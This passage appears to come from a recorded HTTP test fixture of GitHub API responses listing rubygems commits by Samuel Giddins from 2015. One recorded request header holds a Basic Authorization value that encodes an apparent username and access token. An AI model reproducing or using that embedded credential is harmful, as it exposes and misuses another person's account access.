b.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"306a7f6db582150f6be258fbe9803354dab3ad98","url":"https://api.github.com/repos/rubygems/rubygems/commits/306a7f6db582150f6be258fbe9803354dab3ad98","html_url":"https://github.com/rubygems/rubygems/commit/306a7f6db582150f6be258fbe9803354dab3ad98"},{"sha":"8cd7d9d01f1eb8685110f16f92b501c0783bb1b9","url":"https://api.github.com/repos/rubygems/rubygems/commits/8cd7d9d01f1eb8685110f16f92b501c0783bb1b9","html_url":"https://github.com/rubygems/rubygems/commit/8cd7d9d01f1eb8685110f16f92b501c0783bb1b9"}]},{"sha":"306a7f6db582150f6be258fbe9803354dab3ad98","node_id":"MDY6Q29tbWl0NjE0MDcwOjMwNmE3ZjZkYjU4MjE1MGY2YmUyNThmYmU5ODAzMzU0ZGFiM2FkOTg=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-12-10T05:45:11Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-12-10T05:45:11Z"},"message":"Merge pull request #1409 from kou/travis-update-notification-list\n\nRemove kou from notification list for Travis CI","tree":{"sha":"8a80b6048e8ab7065a908647339d02454c7c05d0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8a80b6048e8ab7065a908647339d02454c7c05d0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/306a7f6db582150f6be258fbe9803354dab3ad98","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/306a7f6db582150f6be258fbe9803354dab3ad98","html_url":"https://github.com/rubygems/rubygems/commit/306a7f6db582150f6be258fbe9803354dab3ad98","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/306a7f6db582150f6be258fbe9803354dab3ad98/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ccc80f2b936a3ff73eaa53d40028306613e23425","url":"https://api.github.com/repos/rubygems/rubygems/commits/ccc80f2b936a3ff73eaa53d40028306613e23425","html_url":"https://github.com/rubygems/rubygems/commit/ccc80f2b936a3ff73eaa53d40028306613e23425"},{"sha":"f231ac7ff9c49796babe5094ede4e9ad282e8d2b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f231ac7ff9c49796babe5094ede4e9ad282e8d2b","html_url":"https://github.com/rubygems/rubygems/commit/f231ac7ff9c49796babe5094ede4e9ad282e8d2b"}]},{"sha":"a8e9b83c227f54da077d9623b6a86c5589dd40f6","node_id":"MDY6Q29tbWl0NjE0MDcwOmE4ZTliODNjMjI3ZjU0ZGEwNzdkOTYyM2I2YTg2YzU1ODlkZDQwZjY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-09T19:21:31Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-09T19:49:45Z"},"message":"[Installer] Change binstub to handle when a newer version is missing that exe","tree":{"sha":"8ed0f091ab0283ee7855c29676b02c8c56735396","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8ed0f091ab0283ee7855c29676b02c8c56735396"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a8e9b83c227f54da077d9623b6a86c5589dd40f6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a8e9b83c227f54da077d9623b6a86c5589dd40f6","html_url":"https://github.com/rubygems/rubygems/commit/a8e9b83c227f54da077d9623b6a86c5589dd40f6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a8e9b83c227f54da077d9623b6a86c5589dd40f6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"761626c2354ae3232e53a54387d1c9ee339b231c","url":"https://api.github.com/repos/rubygems/rubygems/commits/761626c2354ae3232e53a54387d1c9ee339b231c","html_url":"https://github.com/rubygems/rubygems/commit/761626c2354ae3232e53a54387d1c9ee339b231c"}]}]' http_version: recorded_at: Fri, 15 Mar 2019 21:54:07 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?author=segiddins@segiddins.me&page=6&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:08 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4304' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3120f801a46f430619fb19d411ed586b" Last-Modified: - Sun, 29 Nov 2015 06:47:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - A7B7:7B82:10B9886:21A0434:5C8C1F00 body: encoding: ASCII-8BIT string: '[{"sha":"4534f54302a7621f7abbe29b16ca34dbb0b98d31","node_id":"MDY6Q29tbWl0NjE0MDcwOjQ1MzRmNTQzMDJhNzYyMWY3YWJiZTI5YjE2Y2EzNGRiYjBiOThkMzE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-29T06:47:19Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-29T06:47:19Z"},"message":"[Specification] Allow prerelease dependencies when spec version itself is a prerelease","tree":{"sha":"9a9bab38ff5c81acfbd2a204f1fc034f31b59529","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9a9bab38ff5c81acfbd2a204f1fc034f31b59529"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4534f54302a7621f7abbe29b16ca34dbb0b98d31","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4534f54302a7621f7abbe29b16ca34dbb0b98d31","html_url":"https://github.com/rubygems/rubygems/commit/4534f54302a7621f7abbe29b16ca34dbb0b98d31","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4534f54302a7621f7abbe29b16ca34dbb0b98d31/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"9848a441a158873ed659d4db2c5875ffd5e8fd2e","url":"https://api.github.com/repos/rubygems/rubygems/commits/9848a441a158873ed659d4db2c5875ffd5e8fd2e","html_url":"https://github.com/rubygems/rubygems/commit/9848a441a158873ed659d4db2c5875ffd5e8fd2e"}]},{"sha":"1429f4abbe03420f7635d000bcc1ab8bcddd2701","node_id":"MDY6Q29tbWl0NjE0MDcwOjE0MjlmNGFiYmUwMzQyMGY3NjM1ZDAwMGJjYzFhYjhiY2RkZDI3MDE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-26T22:10:52Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-26T22:10:52Z"},"message":"[Rakefile] Use automatiek for vendoring, like bundler","tree":{"sha":"38d17857d54f9687babd68dbe78fee0753c86aed","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/38d17857d54f9687babd68dbe78fee0753c86aed"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1429f4abbe03420f7635d000bcc1ab8bcddd2701","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1429f4abbe03420f7635d000bcc1ab8bcddd2701","html_url":"https://github.com/rubygems/rubygems/commit/1429f4abbe03420f7635d000bcc1ab8bcddd2701","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1429f4abbe03420f7635d000bcc1ab8bcddd2701/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"9848a441a158873ed659d4db2c5875ffd5e8fd2e","url":"https://api.github.com/repos/rubygems/rubygems/commits/9848a441a158873ed659d4db2c5875ffd5e8fd2e","html_url":"https://github.com/rubygems/rubygems/commit/9848a441a158873ed659d4db2c5875ffd5e8fd2e"}]},{"sha":"d99e62c6b190c1a520a6e3b3e8502210920634cf","node_id":"MDY6Q29tbWl0NjE0MDcwOmQ5OWU2MmM2YjE5MGMxYTUyMGE2ZTNiM2U4NTAyMjEwOTIwNjM0Y2Y=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-26T02:38:19Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-26T02:38:19Z"},"message":"[Resolver] Update test for 1.8.7 array order discrepancy","tree":{"sha":"1b6ff32c89c134127c8c6a54a1da4f509aad7bba","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1b6ff32c89c134127c8c6a54a1da4f509aad7bba"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d99e62c6b190c1a520a6e3b3e8502210920634cf","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d99e62c6b190c1a520a6e3b3e8502210920634cf","html_url":"https://github.com/rubygems/rubygems/commit/d99e62c6b190c1a520a6e3b3e8502210920634cf","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d99e62c6b190c1a520a6e3b3e8502210920634cf/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"3654aac3af00e4ee973e2065ecdb0042c09608d2","url":"https://api.github.com/repos/rubygems/rubygems/commits/3654aac3af00e4ee973e2065ecdb0042c09608d2","html_url":"https://github.com/rubygems/rubygems/commit/3654aac3af00e4ee973e2065ecdb0042c09608d2"}]},{"sha":"d689d50b7e8cc5e5af97b3875978ef8d6041be4b","node_id":"MDY6Q29tbWl0NjE0MDcwOmQ2ODlkNTBiN2U4Y2M1ZTVhZjk3YjM4NzU5NzhlZjhkNjA0MWJlNGI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:34:48Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:34:48Z"},"message":"[History] Fix spelling of Giddins","tree":{"sha":"56b0501e00dfe1754ef26b8e0ba48729956454df","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/56b0501e00dfe1754ef26b8e0ba48729956454df"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d689d50b7e8cc5e5af97b3875978ef8d6041be4b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d689d50b7e8cc5e5af97b3875978ef8d6041be4b","html_url":"https://github.com/rubygems/rubygems/commit/d689d50b7e8cc5e5af97b3875978ef8d6041be4b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d689d50b7e8cc5e5af97b3875978ef8d6041be4b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"364b903dd497ed7da6be5d0b7d48ed318cfee40d","url":"https://api.github.com/repos/rubygems/rubygems/commits/364b903dd497ed7da6be5d0b7d48ed318cfee40d","html_url":"https://github.com/rubygems/rubygems/commit/364b903dd497ed7da6be5d0b7d48ed318cfee40d"}]},{"sha":"002f9bea3f839e58c2291db993c210a58481a0ef","node_id":"MDY6Q29tbWl0NjE0MDcwOjAwMmY5YmVhM2Y4MzllNThjMjI5MWRiOTkzYzIxMGE1ODQ4MWEwZWY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:10:23Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:10:23Z"},"message":"[GenerateSPDXLicenses] Use RUBY for heredoc to get syntax highlighting","tree":{"sha":"ae6a0afd8a3e94958676bf0ba990ba22c6a49c35","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ae6a0afd8a3e94958676bf0ba990ba22c6a49c35"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/002f9bea3f839e58c2291db993c210a58481a0ef","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/002f9bea3f839e58c2291db993c210a58481a0ef","html_url":"https://github.com/rubygems/rubygems/commit/002f9bea3f839e58c2291db993c210a58481a0ef","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/002f9bea3f839e58c2291db993c210a58481a0ef/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"2f2d9bb4bd716c0259a99692d8b5f9ea76ff2e11","url":"https://api.github.com/repos/rubygems/rubygems/commits/2f2d9bb4bd716c0259a99692d8b5f9ea76ff2e11","html_url":"https://github.com/rubygems/rubygems/commit/2f2d9bb4bd716c0259a99692d8b5f9ea76ff2e11"}]},{"sha":"39c5b5307514e9c9c4e5e58b4583c02dac3d956e","node_id":"MDY6Q29tbWl0NjE0MDcwOjM5YzViNTMwNzUxNGU5YzljNGU1ZTU4YjQ1ODNjMDJkYWMzZDk1NmU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:06:05Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:06:05Z"},"message":"[Specification] Avoid array allocation in traverse","tree":{"sha":"7a7d948ce81e502a2e450708ad8469089354bd9d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7a7d948ce81e502a2e450708ad8469089354bd9d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/39c5b5307514e9c9c4e5e58b4583c02dac3d956e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/39c5b5307514e9c9c4e5e58b4583c02dac3d956e","html_url":"https://github.com/rubygems/rubygems/commit/39c5b5307514e9c9c4e5e58b4583c02dac3d956e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/39c5b5307514e9c9c4e5e58b4583c02dac3d956e/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d11f3ef9a78c517bf87f509c9f96b5c1f28c08c","url":"https://api.github.com/repos/rubygems/rubygems/commits/6d11f3ef9a78c517bf87f509c9f96b5c1f28c08c","html_url":"https://github.com/rubygems/rubygems/commit/6d11f3ef9a78c517bf87f509c9f96b5c1f28c08c"}]},{"sha":"2f2d9bb4bd716c0259a99692d8b5f9ea76ff2e11","node_id":"MDY6Q29tbWl0NjE0MDcwOjJmMmQ5YmI0YmQ3MTZjMDI1OWE5OTY5MmQ4YjVmOWVhNzZmZjJlMTE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:03:01Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:03:01Z"},"message":"[License] Support SPDX identifiers with a + or WITH suffix","tree":{"sha":"c71dcb632ec7adf4768808f93791a4d0000307f6","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c71dcb632ec7adf4768808f93791a4d0000307f6"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2f2d9bb4bd716c0259a99692d8b5f9ea76ff2e11","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2f2d9bb4bd716c0259a99692d8b5f9ea76ff2e11","html_url":"https://github.com/rubygems/rubygems/commit/2f2d9bb4bd716c0259a99692d8b5f9ea76ff2e11","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2f2d9bb4bd716c0259a99692d8b5f9ea76ff2e11/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segi